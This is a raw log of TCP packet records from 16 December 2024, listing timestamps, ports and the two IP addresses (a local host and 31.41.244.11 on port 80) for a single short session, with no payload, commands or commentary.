Dec 16, 2024 17:02:14.472274065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.472366095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.472409010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.473412991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.473460913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.473555088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.473596096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.474397898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.474447966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.474503994 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.474546909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.475397110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.475450993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.475569010 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.475609064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.476450920 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.476509094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.476521969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.476563931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.477783918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.477839947 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.477845907 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.477883101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.479393959 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.479409933 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.479445934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.479464054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.480128050 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.480175018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.480182886 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.480222940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.481245041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.481259108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.481298923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.482206106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.482254982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.482290030 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.482328892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.483362913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.483413935 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.483462095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.483505011 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.484246969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.484296083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.484457970 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.484504938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.485140085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.485188961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.485234022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.485276937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.486231089 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.486243963 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.486287117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.487072945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.487124920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.487173080 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.487219095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.488162041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.488173962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.488213062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.489113092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.489166975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.489228964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.489300966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.490514994 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.490531921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.490561008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.490633965 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.491357088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.491370916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.491406918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.492481947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.492492914 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.492527008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.492551088 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.493561029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.493573904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.493602991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.493618965 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.494800091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.494844913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.494848013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.494884968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.630893946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.630963087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.631022930 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.631064892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.631587029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.631602049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.631623983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.631638050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.632453918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.632497072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.632694006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.632741928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.633562088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.633608103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.633735895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.633776903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.634805918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.634826899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.634871006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.634871006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.635915041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.635926962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.635958910 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.635973930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.636959076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.636979103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.637068987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.637883902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.637931108 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.638092041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.638144016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.638938904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.638982058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.639091015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.639133930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.640283108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.640294075 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.640331030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.641083002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.641168118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.641202927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.641246080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.642146111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.642257929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.642267942 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.642328978 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.643305063 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.643347979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.643378019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.643414974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.644947052 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.644963026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.644999027 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.645014048 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.645673990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.645724058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.645742893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.645788908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.646826029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.646874905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.646945953 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.646995068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.647891045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.647931099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.648135900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.648184061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.648948908 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.648998022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.649139881 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.649185896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.650365114 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.650377035 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.650409937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.651448965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.651495934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.651588917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.651628017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.652492046 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.652523994 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.652590036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.652638912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.653453112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.653491020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.653592110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.653640985 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.654262066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.654304981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.654337883 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.654380083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.655143023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.655199051 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.655253887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.655299902 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.656224012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.656279087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.656343937 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.656388998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.657413006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.657471895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.657490015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.657536983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.658431053 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.658478022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.658550978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.658593893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.659576893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.659621000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.659665108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.659709930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.660912037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.660959005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.661144018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.661185980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.661825895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.661869049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.662096024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.662137985 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.662750006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.662806988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.663299084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.663343906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.663862944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.663875103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.663902998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.663917065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.665503025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.665514946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.665545940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.665941954 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.665987015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.666552067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.666594982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.667005062 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.667061090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.667351961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.667393923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.668445110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.668456078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.668483973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.669414997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.669425011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.669461012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.670207977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.670249939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.670315981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.670357943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.671365023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.671415091 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.671477079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.671518087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.672442913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.672487020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.672581911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.672621965 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.673937082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.673945904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.673979998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.674525976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.674571991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.674603939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.674647093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.676095963 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.676105022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.676141024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.676994085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.677011967 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.677046061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.677975893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.677985907 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.678023100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.678040028 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.679105997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.679116011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.679155111 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.680044889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.680056095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.680085897 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.680104017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.681106091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.681116104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.681149006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.682560921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.682570934 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.682602882 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.683372021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.683382034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.683414936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.684590101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.684602022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.684627056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.684649944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.685645103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.685653925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.685683966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.685693026 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.686742067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.686752081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.686796904 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.687478065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.687520981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.823950052 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.824023008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.824033022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.824075937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.824492931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.824542046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.824645996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.824691057 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.825486898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.825534105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.825661898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.825706959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.826519012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.826564074 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.826879025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.826936960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.827702999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.827713966 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.827753067 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.828689098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.828732967 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.828818083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.828860998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.829830885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.829874039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.830013990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.830056906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.831032038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.831089973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.831636906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.831682920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.832077026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.832122087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.832182884 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.832225084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.833353996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.833399057 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.833434105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.833544970 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.834368944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.834430933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.834470987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.834516048 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.835328102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.835391998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.835393906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.835436106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.836466074 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.836525917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.836617947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.836668015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.837631941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.837642908 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.837690115 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.838582039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.838591099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.838638067 CET	49708	80	192.168.2.8	31.41.244.11
